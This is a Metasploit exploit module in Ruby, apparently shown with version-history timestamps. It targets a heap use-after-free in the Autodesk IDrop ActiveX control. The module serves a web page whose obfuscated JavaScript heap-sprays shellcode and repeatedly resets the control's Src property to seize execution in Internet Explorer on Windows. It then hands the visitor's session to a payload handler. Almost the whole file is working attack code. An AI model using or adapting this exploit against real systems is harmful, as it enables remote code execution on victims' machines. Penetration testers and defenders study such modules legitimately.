2009-05-24 15:06:12 +00:00
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',
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'Description' => %q{
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This module exploits a heap-based memory corruption vulnerability in
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Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
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An attacker can execute arbitrary code by triggering a heap use after
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free condition using the Src, Background, PackageXml properties.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Elazar Broad <elazarb[at]earthlink.net>', # Original exploit [see References]
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'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '53265' ],
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2009-09-12 04:22:58 +00:00
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[ 'BID', '34352' ],
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2009-05-24 15:06:12 +00:00
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[ 'URL', 'http://www.milw0rm.com/exploits/8560' ],
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[ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]
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],
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'DisclosureDate' => 'Apr 2 2009',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
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nops = Rex::Text.to_unescape([target.ret].pack('V'))
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blocksize = 0x40000
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fillto = 550
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offset = target['Offset']
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# Randomize the javascript variable names
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idrop = rand_text_alpha(rand(100) + 1)
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j_function = rand_text_alpha(rand(100) + 1)
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j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
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j_headersize = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_block = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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j_ret = rand_text_alpha(rand(100) + 1)
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j_mem = rand_text_alpha(rand(100) + 1)
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# Build out the message
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content = %Q|
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<html>
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<head>
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<script language='javascript' defer>
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function #{j_function}() {
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#{j_shellcode}=unescape('#{shellcode}');
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#{j_nops}=unescape('#{nops}');
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#{j_headersize}=20;
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#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
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while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
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#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
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#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
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while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
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#{j_memory}=new Array();
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for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
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var #{j_ret} = '';
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for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {
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#{j_ret} += unescape('%u0a0a');
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}
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for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {
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try {
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var #{j_mem} = #{idrop}.Src;
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#{idrop}.Src = 'http://' + #{j_ret};
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#{idrop}.Src = #{j_mem};
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#{idrop}.Src = 'http://' + #{j_ret};
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} catch(e){}
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}
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}
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</script>
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</head>
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<body onload='return #{j_function}();'>
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<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>
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</body>
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</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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